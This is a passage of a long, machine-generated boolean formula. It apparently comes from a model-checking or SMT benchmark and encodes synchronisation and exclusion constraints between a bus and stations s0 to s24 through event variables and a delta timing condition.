( !s17_evt1))))) && ((( !s8_evt2) && (( !s8_evt0) && ( !s8_evt1))) || (( !s18_evt2) && (( !s18_evt0) && ( !s18_evt1))))) && ((( !s8_evt2) && (( !s8_evt0) && ( !s8_evt1))) || (( !s19_evt2) && (( !s19_evt0) && ( !s19_evt1))))) && ((( !s8_evt2) && (( !s8_evt0) && ( !s8_evt1))) || (( !s20_evt2) && (( !s20_evt0) && ( !s20_evt1))))) && ((( !s8_evt2) && (( !s8_evt0) && ( !s8_evt1))) || (( !s21_evt2) && (( !s21_evt0) && ( !s21_evt1))))) && ((( !s8_evt2) && (( !s8_evt0) && ( !s8_evt1))) || (( !s22_evt2) && (( !s22_evt0) && ( !s22_evt1))))) && ((( !s8_evt2) && (( !s8_evt0) && ( !s8_evt1))) || (( !s23_evt2) && (( !s23_evt0) && ( !s23_evt1))))) && ((( !s8_evt2) && (( !s8_evt0) && ( !s8_evt1))) || (( !s24_evt2) && (( !s24_evt0) && ( !s24_evt1))))) && ((( !s9_evt2) && (( !s9_evt0) && ( !s9_evt1))) || (( !s10_evt2) && (( !s10_evt0) && ( !s10_evt1))))) && ((( !s9_evt2) && (( !s9_evt0) && ( !s9_evt1))) || (( !s11_evt2) && (( !s11_evt0) && ( !s11_evt1))))) && ((( !s9_evt2) && (( !s9_evt0) && ( !s9_evt1))) || (( !s12_evt2) && (( !s12_evt0) && ( !s12_evt1))))) && ((( !s9_evt2) && (( !s9_evt0) && ( !s9_evt1))) || (( !s13_evt2) && (( !s13_evt0) && ( !s13_evt1))))) && ((( !s9_evt2) && (( !s9_evt0) && ( !s9_evt1))) || (( !s14_evt2) && (( !s14_evt0) && ( !s14_evt1))))) && ((( !s9_evt2) && (( !s9_evt0) && ( !s9_evt1))) || (( !s15_evt2) && (( !s15_evt0) && ( !s15_evt1))))) && ((( !s9_evt2) && (( !s9_evt0) && ( !s9_evt1))) || (( !s16_evt2) && (( !s16_evt0) && ( !s16_evt1))))) && ((( !s9_evt2) && (( !s9_evt0) && ( !s9_evt1))) || (( !s17_evt2) && (( !s17_evt0) && ( !s17_evt1))))) && ((( !s9_evt2) && (( !s9_evt0) && ( !s9_evt1))) || (( !s18_evt2) && (( !s18_evt0) && ( !s18_evt1))))) && ((( !s9_evt2) && (( !s9_evt0) && ( !s9_evt1))) || (( !s19_evt2) && (( !s19_evt0) && ( !s19_evt1))))) && ((( !s9_evt2) && (( !s9_evt0) && ( !s9_evt1))) || (( !s20_evt2) && (( !s20_evt0) && ( !s20_evt1))))) && ((( !s9_evt2) && (( !s9_evt0) && ( !s9_evt1))) || (( !s21_evt2) && (( !s21_evt0) && ( !s21_evt1))))) && ((( !s9_evt2) && (( !s9_evt0) && ( !s9_evt1))) || (( !s22_evt2) && (( !s22_evt0) && ( !s22_evt1))))) && ((( !s9_evt2) && (( !s9_evt0) && ( !s9_evt1))) || (( !s23_evt2) && (( !s23_evt0) && ( !s23_evt1))))) && ((( !s9_evt2) && (( !s9_evt0) && ( !s9_evt1))) || (( !s24_evt2) && (( !s24_evt0) && ( !s24_evt1))))) && ((( !s10_evt2) && (( !s10_evt0) && ( !s10_evt1))) || (( !s11_evt2) && (( !s11_evt0) && ( !s11_evt1))))) && ((( !s10_evt2) && (( !s10_evt0) && ( !s10_evt1))) || (( !s12_evt2) && (( !s12_evt0) && ( !s12_evt1))))) && ((( !s10_evt2) && (( !s10_evt0) && ( !s10_evt1))) || (( !s13_evt2) && (( !s13_evt0) && ( !s13_evt1))))) && ((( !s10_evt2) && (( !s10_evt0) && ( !s10_evt1))) || (( !s14_evt2) && (( !s14_evt0) && ( !s14_evt1))))) && ((( !s10_evt2) && (( !s10_evt0) && ( !s10_evt1))) || (( !s15_evt2) && (( !s15_evt0) && ( !s15_evt1))))) && ((( !s10_evt2) && (( !s10_evt0) && ( !s10_evt1))) || (( !s16_evt2) && (( !s16_evt0) && ( !s16_evt1))))) && ((( !s10_evt2) && (( !s10_evt0) && ( !s10_evt1))) || (( !s17_evt2) && (( !s17_evt0) && ( !s17_evt1))))) && ((( !s10_evt2) && (( !s10_evt0) && ( !s10_evt1))) || (( !s18_evt2) && (( !s18_evt0) && ( !s18_evt1))))) && ((( !s10_evt2) && (( !s10_evt0) && ( !s10_evt1))) || (( !s19_evt2) && (( !s19_evt0) && ( !s19_evt1))))) && ((( !s10_evt2) && (( !s10_evt0) && ( !s10_evt1))) || (( !s20_evt2) && (( !s20_evt0) && ( !s20_evt1))))) && ((( !s10_evt2) && (( !s10_evt0) && ( !s10_evt1))) || (( !s21_evt2) && (( !s21_evt0) && ( !s21_evt1))))) && ((( !s10_evt2) && (( !s10_evt0) && ( !s10_evt1))) || (( !s22_evt2) && (( !s22_evt0) && ( !s22_evt1))))) && ((( !s10_evt2) && (( !s10_evt0) && ( !s10_evt1))) || (( !s23_evt2) && (( !s23_evt0) && ( !s23_evt1))))) && ((( !s10_evt2) && (( !s10_evt0) && ( !s10_evt1))) || (( !s24_evt2) && (( !s24_evt0) && ( !s24_evt1))))) && ((( !s11_evt2) && (( !s11_evt0) && ( !s11_evt1))) || (( !s12_evt2) && (( !s12_evt0) && ( !s12_evt1))))) && ((( !s11_evt2) && (( !s11_evt0) && ( !s11_evt1))) || (( !s13_evt2) && (( !s13_evt0) && ( !s13_evt1))))) && ((( !s11_evt2) && (( !s11_evt0) && ( !s11_evt1))) || (( !s14_evt2) && (( !s14_evt0) && ( !s14_evt1))))) && ((( !s11_evt2) && (( !s11_evt0) && ( !s11_evt1))) || (( !s15_evt2) && (( !s15_evt0) && ( !s15_evt1))))) && ((( !s11_evt2) && (( !s11_evt0) && ( !s11_evt1))) || (( !s16_evt2) && (( !s16_evt0) && ( !s16_evt1))))) && ((( !s11_evt2) && (( !s11_evt0) && ( !s11_evt1))) || (( !s17_evt2) && (( !s17_evt0) && ( !s17_evt1))))) && ((( !s11_evt2) && (( !s11_evt0) && ( !s11_evt1))) || (( !s18_evt2) && (( !s18_evt0) && ( !s18_evt1))))) && ((( !s11_evt2) && (( !s11_evt0) && ( !s11_evt1))) || (( !s19_evt2) && (( !s19_evt0) && ( !s19_evt1))))) && ((( !s11_evt2) && (( !s11_evt0) && ( !s11_evt1))) || (( !s20_evt2) && (( !s20_evt0) && ( !s20_evt1))))) && ((( !s11_evt2) && (( !s11_evt0) && ( !s11_evt1))) || (( !s21_evt2) && (( !s21_evt0) && ( !s21_evt1))))) && ((( !s11_evt2) && (( !s11_evt0) && ( !s11_evt1))) || (( !s22_evt2) && (( !s22_evt0) && ( !s22_evt1))))) && ((( !s11_evt2) && (( !s11_evt0) && ( !s11_evt1))) || (( !s23_evt2) && (( !s23_evt0) && ( !s23_evt1))))) && ((( !s11_evt2) && (( !s11_evt0) && ( !s11_evt1))) || (( !s24_evt2) && (( !s24_evt0) && ( !s24_evt1))))) && ((( !s12_evt2) && (( !s12_evt0) && ( !s12_evt1))) || (( !s13_evt2) && (( !s13_evt0) && ( !s13_evt1))))) && ((( !s12_evt2) && (( !s12_evt0) && ( !s12_evt1))) || (( !s14_evt2) && (( !s14_evt0) && ( !s14_evt1))))) && ((( !s12_evt2) && (( !s12_evt0) && ( !s12_evt1))) || (( !s15_evt2) && (( !s15_evt0) && ( !s15_evt1))))) && ((( !s12_evt2) && (( !s12_evt0) && ( !s12_evt1))) || (( !s16_evt2) && (( !s16_evt0) && ( !s16_evt1))))) && ((( !s12_evt2) && (( !s12_evt0) && ( !s12_evt1))) || (( !s17_evt2) && (( !s17_evt0) && ( !s17_evt1))))) && ((( !s12_evt2) && (( !s12_evt0) && ( !s12_evt1))) || (( !s18_evt2) && (( !s18_evt0) && ( !s18_evt1))))) && ((( !s12_evt2) && (( !s12_evt0) && ( !s12_evt1))) || (( !s19_evt2) && (( !s19_evt0) && ( !s19_evt1))))) && ((( !s12_evt2) && (( !s12_evt0) && ( !s12_evt1))) || (( !s20_evt2) && (( !s20_evt0) && ( !s20_evt1))))) && ((( !s12_evt2) && (( !s12_evt0) && ( !s12_evt1))) || (( !s21_evt2) && (( !s21_evt0) && ( !s21_evt1))))) && ((( !s12_evt2) && (( !s12_evt0) && ( !s12_evt1))) || (( !s22_evt2) && (( !s22_evt0) && ( !s22_evt1))))) && ((( !s12_evt2) && (( !s12_evt0) && ( !s12_evt1))) || (( !s23_evt2) && (( !s23_evt0) && ( !s23_evt1))))) && ((( !s12_evt2) && (( !s12_evt0) && ( !s12_evt1))) || (( !s24_evt2) && (( !s24_evt0) && ( !s24_evt1))))) && ((( !s13_evt2) && (( !s13_evt0) && ( !s13_evt1))) || (( !s14_evt2) && (( !s14_evt0) && ( !s14_evt1))))) && ((( !s13_evt2) && (( !s13_evt0) && ( !s13_evt1))) || (( !s15_evt2) && (( !s15_evt0) && ( !s15_evt1))))) && ((( !s13_evt2) && (( !s13_evt0) && ( !s13_evt1))) || (( !s16_evt2) && (( !s16_evt0) && ( !s16_evt1))))) && ((( !s13_evt2) && (( !s13_evt0) && ( !s13_evt1))) || (( !s17_evt2) && (( !s17_evt0) && ( !s17_evt1))))) && ((( !s13_evt2) && (( !s13_evt0) && ( !s13_evt1))) || (( !s18_evt2) && (( !s18_evt0) && ( !s18_evt1))))) && ((( !s13_evt2) && (( !s13_evt0) && ( !s13_evt1))) || (( !s19_evt2) && (( !s19_evt0) && ( !s19_evt1))))) && ((( !s13_evt2) && (( !s13_evt0) && ( !s13_evt1))) || (( !s20_evt2) && (( !s20_evt0) && ( !s20_evt1))))) && ((( !s13_evt2) && (( !s13_evt0) && ( !s13_evt1))) || (( !s21_evt2) && (( !s21_evt0) && ( !s21_evt1))))) && ((( !s13_evt2) && (( !s13_evt0) && ( !s13_evt1))) || (( !s22_evt2) && (( !s22_evt0) && ( !s22_evt1))))) && ((( !s13_evt2) && (( !s13_evt0) && ( !s13_evt1))) || (( !s23_evt2) && (( !s23_evt0) && ( !s23_evt1))))) && ((( !s13_evt2) && (( !s13_evt0) && ( !s13_evt1))) || (( !s24_evt2) && (( !s24_evt0) && ( !s24_evt1))))) && ((( !s14_evt2) && (( !s14_evt0) && ( !s14_evt1))) || (( !s15_evt2) && (( !s15_evt0) && ( !s15_evt1))))) && ((( !s14_evt2) && (( !s14_evt0) && ( !s14_evt1))) || (( !s16_evt2) && (( !s16_evt0) && ( !s16_evt1))))) && ((( !s14_evt2) && (( !s14_evt0) && ( !s14_evt1))) || (( !s17_evt2) && (( !s17_evt0) && ( !s17_evt1))))) && ((( !s14_evt2) && (( !s14_evt0) && ( !s14_evt1))) || (( !s18_evt2) && (( !s18_evt0) && ( !s18_evt1))))) && ((( !s14_evt2) && (( !s14_evt0) && ( !s14_evt1))) || (( !s19_evt2) && (( !s19_evt0) && ( !s19_evt1))))) && ((( !s14_evt2) && (( !s14_evt0) && ( !s14_evt1))) || (( !s20_evt2) && (( !s20_evt0) && ( !s20_evt1))))) && ((( !s14_evt2) && (( !s14_evt0) && ( !s14_evt1))) || (( !s21_evt2) && (( !s21_evt0) && ( !s21_evt1))))) && ((( !s14_evt2) && (( !s14_evt0) && ( !s14_evt1))) || (( !s22_evt2) && (( !s22_evt0) && ( !s22_evt1))))) && ((( !s14_evt2) && (( !s14_evt0) && ( !s14_evt1))) || (( !s23_evt2) && (( !s23_evt0) && ( !s23_evt1))))) && ((( !s14_evt2) && (( !s14_evt0) && ( !s14_evt1))) || (( !s24_evt2) && (( !s24_evt0) && ( !s24_evt1))))) && ((( !s15_evt2) && (( !s15_evt0) && ( !s15_evt1))) || (( !s16_evt2) && (( !s16_evt0) && ( !s16_evt1))))) && ((( !s15_evt2) && (( !s15_evt0) && ( !s15_evt1))) || (( !s17_evt2) && (( !s17_evt0) && ( !s17_evt1))))) && ((( !s15_evt2) && (( !s15_evt0) && ( !s15_evt1))) || (( !s18_evt2) && (( !s18_evt0) && ( !s18_evt1))))) && ((( !s15_evt2) && (( !s15_evt0) && ( !s15_evt1))) || (( !s19_evt2) && (( !s19_evt0) && ( !s19_evt1))))) && ((( !s15_evt2) && (( !s15_evt0) && ( !s15_evt1))) || (( !s20_evt2) && (( !s20_evt0) && ( !s20_evt1))))) && ((( !s15_evt2) && (( !s15_evt0) && ( !s15_evt1))) || (( !s21_evt2) && (( !s21_evt0) && ( !s21_evt1))))) && ((( !s15_evt2) && (( !s15_evt0) && ( !s15_evt1))) || (( !s22_evt2) && (( !s22_evt0) && ( !s22_evt1))))) && ((( !s15_evt2) && (( !s15_evt0) && ( !s15_evt1))) || (( !s23_evt2) && (( !s23_evt0) && ( !s23_evt1))))) && ((( !s15_evt2) && (( !s15_evt0) && ( !s15_evt1))) || (( !s24_evt2) && (( !s24_evt0) && ( !s24_evt1))))) && ((( !s16_evt2) && (( !s16_evt0) && ( !s16_evt1))) || (( !s17_evt2) && (( !s17_evt0) && ( !s17_evt1))))) && ((( !s16_evt2) && (( !s16_evt0) && ( !s16_evt1))) || (( !s18_evt2) && (( !s18_evt0) && ( !s18_evt1))))) && ((( !s16_evt2) && (( !s16_evt0) && ( !s16_evt1))) || (( !s19_evt2) && (( !s19_evt0) && ( !s19_evt1))))) && ((( !s16_evt2) && (( !s16_evt0) && ( !s16_evt1))) || (( !s20_evt2) && (( !s20_evt0) && ( !s20_evt1))))) && ((( !s16_evt2) && (( !s16_evt0) && ( !s16_evt1))) || (( !s21_evt2) && (( !s21_evt0) && ( !s21_evt1))))) && ((( !s16_evt2) && (( !s16_evt0) && ( !s16_evt1))) || (( !s22_evt2) && (( !s22_evt0) && ( !s22_evt1))))) && ((( !s16_evt2) && (( !s16_evt0) && ( !s16_evt1))) || (( !s23_evt2) && (( !s23_evt0) && ( !s23_evt1))))) && ((( !s16_evt2) && (( !s16_evt0) && ( !s16_evt1))) || (( !s24_evt2) && (( !s24_evt0) && ( !s24_evt1))))) && ((( !s17_evt2) && (( !s17_evt0) && ( !s17_evt1))) || (( !s18_evt2) && (( !s18_evt0) && ( !s18_evt1))))) && ((( !s17_evt2) && (( !s17_evt0) && ( !s17_evt1))) || (( !s19_evt2) && (( !s19_evt0) && ( !s19_evt1))))) && ((( !s17_evt2) && (( !s17_evt0) && ( !s17_evt1))) || (( !s20_evt2) && (( !s20_evt0) && ( !s20_evt1))))) && ((( !s17_evt2) && (( !s17_evt0) && ( !s17_evt1))) || (( !s21_evt2) && (( !s21_evt0) && ( !s21_evt1))))) && ((( !s17_evt2) && (( !s17_evt0) && ( !s17_evt1))) || (( !s22_evt2) && (( !s22_evt0) && ( !s22_evt1))))) && ((( !s17_evt2) && (( !s17_evt0) && ( !s17_evt1))) || (( !s23_evt2) && (( !s23_evt0) && ( !s23_evt1))))) && ((( !s17_evt2) && (( !s17_evt0) && ( !s17_evt1))) || (( !s24_evt2) && (( !s24_evt0) && ( !s24_evt1))))) && ((( !s18_evt2) && (( !s18_evt0) && ( !s18_evt1))) || (( !s19_evt2) && (( !s19_evt0) && ( !s19_evt1))))) && ((( !s18_evt2) && (( !s18_evt0) && ( !s18_evt1))) || (( !s20_evt2) && (( !s20_evt0) && ( !s20_evt1))))) && ((( !s18_evt2) && (( !s18_evt0) && ( !s18_evt1))) || (( !s21_evt2) && (( !s21_evt0) && ( !s21_evt1))))) && ((( !s18_evt2) && (( !s18_evt0) && ( !s18_evt1))) || (( !s22_evt2) && (( !s22_evt0) && ( !s22_evt1))))) && ((( !s18_evt2) && (( !s18_evt0) && ( !s18_evt1))) || (( !s23_evt2) && (( !s23_evt0) && ( !s23_evt1))))) && ((( !s18_evt2) && (( !s18_evt0) && ( !s18_evt1))) || (( !s24_evt2) && (( !s24_evt0) && ( !s24_evt1))))) && ((( !s19_evt2) && (( !s19_evt0) && ( !s19_evt1))) || (( !s20_evt2) && (( !s20_evt0) && ( !s20_evt1))))) && ((( !s19_evt2) && (( !s19_evt0) && ( !s19_evt1))) || (( !s21_evt2) && (( !s21_evt0) && ( !s21_evt1))))) && ((( !s19_evt2) && (( !s19_evt0) && ( !s19_evt1))) || (( !s22_evt2) && (( !s22_evt0) && ( !s22_evt1))))) && ((( !s19_evt2) && (( !s19_evt0) && ( !s19_evt1))) || (( !s23_evt2) && (( !s23_evt0) && ( !s23_evt1))))) && ((( !s19_evt2) && (( !s19_evt0) && ( !s19_evt1))) || (( !s24_evt2) && (( !s24_evt0) && ( !s24_evt1))))) && ((( !s20_evt2) && (( !s20_evt0) && ( !s20_evt1))) || (( !s21_evt2) && (( !s21_evt0) && ( !s21_evt1))))) && ((( !s20_evt2) && (( !s20_evt0) && ( !s20_evt1))) || (( !s22_evt2) && (( !s22_evt0) && ( !s22_evt1))))) && ((( !s20_evt2) && (( !s20_evt0) && ( !s20_evt1))) || (( !s23_evt2) && (( !s23_evt0) && ( !s23_evt1))))) && ((( !s20_evt2) && (( !s20_evt0) && ( !s20_evt1))) || (( !s24_evt2) && (( !s24_evt0) && ( !s24_evt1))))) && ((( !s21_evt2) && (( !s21_evt0) && ( !s21_evt1))) || (( !s22_evt2) && (( !s22_evt0) && ( !s22_evt1))))) && ((( !s21_evt2) && (( !s21_evt0) && ( !s21_evt1))) || (( !s23_evt2) && (( !s23_evt0) && ( !s23_evt1))))) && ((( !s21_evt2) && (( !s21_evt0) && ( !s21_evt1))) || (( !s24_evt2) && (( !s24_evt0) && ( !s24_evt1))))) && ((( !s22_evt2) && (( !s22_evt0) && ( !s22_evt1))) || (( !s23_evt2) && (( !s23_evt0) && ( !s23_evt1))))) && ((( !s22_evt2) && (( !s22_evt0) && ( !s22_evt1))) || (( !s24_evt2) && (( !s24_evt0) && ( !s24_evt1))))) && ((( !s23_evt2) && (( !s23_evt0) && ( !s23_evt1))) || (( !s24_evt2) && (( !s24_evt0) && ( !s24_evt1))))) || ( !(delta == 0.0)))) && (( !(delta == 0.0)) || (( !(( !s24_evt2) && (( !s24_evt0) && ( !s24_evt1)))) || (( !(( !s23_evt2) && (( !s23_evt0) && ( !s23_evt1)))) || (( !(( !s22_evt2) && (( !s22_evt0) && ( !s22_evt1)))) || (( !(( !s21_evt2) && (( !s21_evt0) && ( !s21_evt1)))) || (( !(( !s20_evt2) && (( !s20_evt0) && ( !s20_evt1)))) || (( !(( !s19_evt2) && (( !s19_evt0) && ( !s19_evt1)))) || (( !(( !s18_evt2) && (( !s18_evt0) && ( !s18_evt1)))) || (( !(( !s17_evt2) && (( !s17_evt0) && ( !s17_evt1)))) || (( !(( !s16_evt2) && (( !s16_evt0) && ( !s16_evt1)))) || (( !(( !s15_evt2) && (( !s15_evt0) && ( !s15_evt1)))) || (( !(( !s14_evt2) && (( !s14_evt0) && ( !s14_evt1)))) || (( !(( !s13_evt2) && (( !s13_evt0) && ( !s13_evt1)))) || (( !(( !s12_evt2) && (( !s12_evt0) && ( !s12_evt1)))) || (( !(( !s11_evt2) && (( !s11_evt0) && ( !s11_evt1)))) || (( !(( !s10_evt2) && (( !s10_evt0) && ( !s10_evt1)))) || (( !(( !s9_evt2) && (( !s9_evt0) && ( !s9_evt1)))) || (( !(( !s8_evt2) && (( !s8_evt0) && ( !s8_evt1)))) || (( !(( !s7_evt2) && (( !s7_evt0) && ( !s7_evt1)))) || (( !(( !s6_evt2) && (( !s6_evt0) && ( !s6_evt1)))) || (( !(( !s5_evt2) && (( !s5_evt0) && ( !s5_evt1)))) || (( !(( !s4_evt2) && (( !s4_evt0) && ( !s4_evt1)))) || (( !(( !s3_evt2) && (( !s3_evt0) && ( !s3_evt1)))) || (( !(( !s2_evt2) && (( !s2_evt0) && ( !s2_evt1)))) || (( !(( !s1_evt2) && (( !s1_evt0) && ( !s1_evt1)))) || (( !(( !bus_evt2) && (( !bus_evt0) && ( !bus_evt1)))) || ( !(( !s0_evt2) && (( !s0_evt0) && ( !s0_evt1))))))))))))))))))))))))))))))) && (( !(delta == 0.0)) || ((((bus_evt2 && (( !bus_evt0) && ( !bus_evt1))) == ((s24_evt2 && (( !s24_evt0) && ( !s24_evt1))) || ((s23_evt2 && (( !s23_evt0) && ( !s23_evt1))) || ((s22_evt2 && (( !s22_evt0) && ( !s22_evt1))) || ((s21_evt2 && (( !s21_evt0) && ( !s21_evt1))) || ((s20_evt2 && (( !s20_evt0) && ( !s20_evt1))) || ((s19_evt2 && (( !s19_evt0) && ( !s19_evt1))) || ((s18_evt2 && (( !s18_evt0) && ( !s18_evt1))) || ((s17_evt2 && (( !s17_evt0) && ( !s17_evt1))) || ((s16_evt2 && (( !s16_evt0) && ( !s16_evt1))) || ((s15_evt2 && (( !s15_evt0) && ( !s15_evt1))) || ((s14_evt2 && (( !s14_evt0) && ( !s14_evt1))) || ((s13_evt2 && (( !s13_evt0) && ( !s13_evt1))) || ((s12_evt2 && (( !s12_evt0) && ( !s12_evt1))) || ((s11_evt2 && (( !s11_evt0) && ( !s11_evt1))) || ((s10_evt2 && (( !s10_evt0) && ( !s10_evt1))) || ((s9_evt2 && (( !s9_evt0) && ( !s9_evt1))) || ((s8_evt2 && (( !s8_evt0) && ( !s8_evt1))) || ((s7_evt2 && (( !s7_evt0) && ( !s7_evt1))) || ((s6_evt2 && (( !s6_evt0) && ( !s6_evt1))) || ((s5_evt2 && (( !s5_evt0) && ( !s5_evt1))) || ((s4_evt2 && (( !s4_evt0) && ( !s4_evt1))) || ((s3_evt2 && (( !s3_evt0) && ( !s3_evt1))) || ((s2_evt2 && (( !s2_evt0) && ( !s2_evt1))) || ((s0_evt2 && (( !s0_evt0) && ( !s0_evt1))) || (s1_evt2 && (( !s1_evt0) && ( !s1_evt1)))))))))))))))))))))))))))) && ((( !bus_evt2) && (bus_evt1 && ( !bus_evt0))) == ((( !s24_evt2) && (s24_evt1 && ( !s24_evt0))) || ((( !s23_evt2) && (s23_evt1 && ( !s23_evt0))) || ((( !s22_evt2) && (s22_evt1 && ( !s22_evt0))) || ((( !s21_evt2) && (s21_evt1 && ( !s21_evt0))) || ((( !s20_evt2) && (s20_evt1 && ( !s20_evt0))) || ((( !s19_evt2) && (s19_evt1 && ( !s19_evt0))) || ((( !s18_evt2) && (s18_evt1 && ( !s18_evt0))) || ((( !s17_evt2) && (s17_evt1 && ( !s17_evt0))) || ((( !s16_evt2) && (s16_evt1 && ( !s16_evt0))) || ((( !s15_evt2) && (s15_evt1 && ( !s15_evt0))) || ((( !s14_evt2) && (s14_evt1 && ( !s14_evt0))) || ((( !s13_evt2) && (s13_evt1 && ( !s13_evt0))) || ((( !s12_evt2) && (s12_evt1 && ( !s12_evt0))) || ((( !s11_evt2) && (s11_evt1 && ( !s11_evt0))) || ((( !s10_evt2) && (s10_evt1 && ( !s10_evt0))) || ((( !s9_evt2) && (s9_evt1 && ( !s9_evt0))) || ((( !s8_evt2) && (s8_evt1 && ( !s8_evt0))) || ((( !s7_evt2) && (s7_evt1 && ( !s7_evt0))) || ((( !s6_evt2) && (s6_evt1 && ( !s6_evt0))) || ((( !s5_evt2) && (s5_evt1 && ( !s5_evt0))) || ((( !s4_evt2) && (s4_evt1 && ( !s4_evt0))) || ((( !s3_evt2) && (s3_evt1 && ( !s3_evt0))) || ((( !s2_evt2) && (s2_evt1 && ( !s2_evt0))) || ((( !s0_evt2) && (s0_evt1 && ( !s0_evt0))) || (( !s1_evt2) && (s1_evt1 && ( !s1_evt0))))))))))))))))))))))))))))) && (((bus_evt2 && (bus_evt1 && ( !bus_evt0))) == ((s24_evt2 && (s24_evt1 && ( !s24_evt0))) || ((s23_evt2 && (s23_evt1 && ( !s23_evt0))) || ((s22_evt2 && (s22_evt1 && ( !s22_evt0))) || ((s21_evt2 && (s21_evt1 && ( !s21_evt0))) || ((s20_evt2 && (s20_evt1 && ( !s20_evt0))) || ((s19_evt2 && (s19_evt1 && ( !s19_evt0))) || ((s18_evt2 && (s18_evt1 && ( !s18_evt0))) || ((s17_evt2 && (s17_evt1 && ( !s17_evt0))) || ((s16_evt2 && (s16_evt1 && ( !s16_evt0))) || ((s15_evt2 && (s15_evt1 && ( !s15_evt0))) || ((s14_evt2 && (s14_evt1 && ( !s14_evt0))) || ((s13_evt2 && (s13_evt1 && ( !s13_evt0))) || ((s12_evt2 && (s12_evt1 && ( !s12_evt0))) || ((s11_evt2 && (s11_evt1 && ( !s11_evt0))) || ((s10_evt2 && (s10_evt1 && ( !s10_evt0))) || ((s9_evt2 && (s9_evt1 && ( !s9_evt0))) || ((s8_evt2 && (s8_evt1 && ( !s8_evt0))) || ((s7_evt2 && (s7_evt1 && ( !s7_evt0))) || ((s6_evt2 && (s6_evt1 && ( !s6_evt0))) || ((s5_evt2 && (s5_evt1 && ( !s5_evt0))) || ((s4_evt2 && (s4_evt1 && ( !s4_evt0))) || ((s3_evt2 && (s3_evt1 && ( !s3_evt0))) || ((s2_evt2 && (s2_evt1 && ( !s2_evt0))) || ((s0_evt2 && (s0_evt1 && ( !s0_evt0))) || (s1_evt2 && (s1_evt1 && ( !s1_evt0)))))))))))))))))))))))))))) && ((( !bus_evt2) && (bus_evt0 && ( !bus_evt1))) == ((( !s24_evt2) && (s24_evt0 && ( !s24_evt1))) || ((( !s23_evt2) && (s23_evt0 && ( !s23_evt1))) || ((( !s22_evt2) && (s22_evt0 && ( !s22_evt1))) || ((( !s21_evt2) && (s21_evt0 && ( !s21_evt1))) || ((( !s20_evt2) && (s20_evt0 && ( !s20_evt1))) || ((( !s19_evt2) && (s19_evt0 && ( !s19_evt1))) || ((( !s18_evt2) && (s18_evt0 && ( !s18_evt1))) || ((( !s17_evt2) && (s17_evt0 && ( !s17_evt1))) || ((( !s16_evt2) && (s16_evt0 && ( !s16_evt1))) || ((( !s15_evt2) && (s15_evt0 && ( !s15_evt1))) || ((( !s14_evt2) && (s14_evt0 && ( !s14_evt1))) || ((( !s13_evt2) && (s13_evt0 && ( !s13_evt1))) || ((( !s12_evt2) && (s12_evt0 && ( !s12_evt1))) || ((( !s11_evt2) && (s11_evt0 && ( !s11_evt1))) || ((( !s10_evt2) && (s10_evt0 && ( !s10_evt1))) || ((( !s9_evt2) && (s9_evt0 && ( !s9_evt1))) || ((( !s8_evt2) && (s8_evt0 && ( !s8_evt1))) || ((( !s7_evt2) && (s7_evt0 && ( !s7_evt1))) || ((( !s6_evt2) && (s6_evt0 && ( !s6_evt1))) || ((( !s5_evt2) && (s5_evt0 && ( !s5_evt1))) || ((( !s4_evt2) && (s4_evt0 && ( !s4_evt1))) || ((( !s3_evt2) && (s3_evt0 && ( !s3_evt1))) || ((( !s2_evt2) && (s2_evt0 && ( !s2_evt1))) || ((( !s0_evt2) && (s0_evt0 && ( !s0_evt1))) || (( !s1_evt2) && (s1_evt0 && ( !s1_evt1)))))))))))))))))))))))))))))))) && (( !(delta == 0.0)) || ((((((((((((((((((((((((((( !s0_evt2) && (s0_evt0 && ( !s0_evt1))) == ((( !bus_evt2) && (bus_evt0 && ( !bus_evt1))) && (bus_cd_id == 0))) && ((( !s1_evt2) && (s1_evt0 && ( !s1_evt1))) == ((( !bus_evt2) && (bus_evt0 && ( !bus_evt1))) && (bus_cd_id == 1)))) && ((( !s2_evt2) && (s2_evt0 && ( !s2_evt1))) == ((( !bus_evt2) && (bus_evt0 && ( !bus_evt1))) && (bus_cd_id == 2)))) && ((( !s3_evt2) && (s3_evt0 && ( !s3_evt1))) == ((( !bus_evt2) && (bus_evt0 && ( !bus_evt1))) && (bus_cd_id == 3)))) && ((( !s4_evt2) && (s4_evt0 && ( !s4_evt1))) == ((( !bus_evt2) && (bus_evt0 && ( !bus_evt1))) && (bus_cd_id == 4)))) && ((( !s5_evt2) && (s5_evt0 && ( !s5_evt1))) == ((( !bus_evt2) && (bus_evt0 && ( !bus_evt1))) && (bus_cd_id == 5)))) && ((( !s6_evt2) && (s6_evt0 && ( !s6_evt1))) == ((( !bus_evt2) && (bus_evt0 && ( !bus_evt1))) && (bus_cd_id == 6)))) && ((( !s7_evt2) && (s7_evt0 && ( !s7_evt1))) == ((( !bus_evt2) && (bus_evt0 && ( !bus_evt1))) && (bus_cd_id == 7)))) && ((( !s8_evt2) && (s8_evt0 && ( !s8_evt1))) == ((( !bus_evt2) && (bus_evt0 && ( !bus_evt1))) && (bus_cd_id == 8)))) && ((( !s9_evt2) && (s9_evt0 && ( !s9_evt1))) == ((( !bus_evt2) && (bus_evt0 && ( !bus_evt1))) && (bus_cd_id == 9)))) && ((( !s10_evt2) && (s10_evt0 && ( !s10_evt1))) == ((( !bus_evt2) && (bus_evt0 && ( !bus_evt1))) && (bus_cd_id == 10)))) && ((( !s11_evt2) && (s11_evt0 && ( !s11_evt1))) == ((( !bus_evt2) && (bus_evt0 && ( !bus_evt1))) && (bus_cd_id == 11)))) && ((( !s12_evt2) && (s12_evt0 && ( !s12_evt1))) == ((( !bus_evt2) && (bus_evt0 && ( !bus_evt1))) && (bus_cd_id == 12)))) && ((( !s13_evt2) && (s13_evt0 && ( !s13_evt1))) == ((( !bus_evt2) && (bus_evt0 && ( !bus_evt1))) && (bus_cd_id == 13)))) && ((( !s14_evt2) && (s14_evt0 && ( !s14_evt1))) == ((( !bus_evt2) && (bus_evt0 && ( !bus_evt1))) && (bus_cd_id == 14)))) && ((( !s15_evt2) && (s15_evt0 && ( !s15_evt1))) == ((( !bus_evt2) && (bus_evt0 && ( !bus_evt1))) && (bus_cd_id == 15)))) && ((( !s16_evt2) && (s16_evt0 && ( !s16_evt1))) == ((( !bus_evt2) && (bus_evt0 && ( !bus_evt1))) && (bus_cd_id == 16)))) && ((( !s17_evt2) && (s17_evt0 && ( !s17_evt1))) == ((( !bus_evt2) && (bus_evt0 && ( !bus_evt1))) && (bus_cd_id == 17)))) && ((( !s18_evt2) && (s18_evt0 && ( !s18_evt1))) == ((( !bus_evt2) && (bus_evt0 && ( !bus_evt1))) && (bus_cd_id == 18)))) && ((( !s19_evt2) && (s19_evt0 && ( !s19_evt1))) == ((( !bus_evt2) && (bus_evt0 && ( 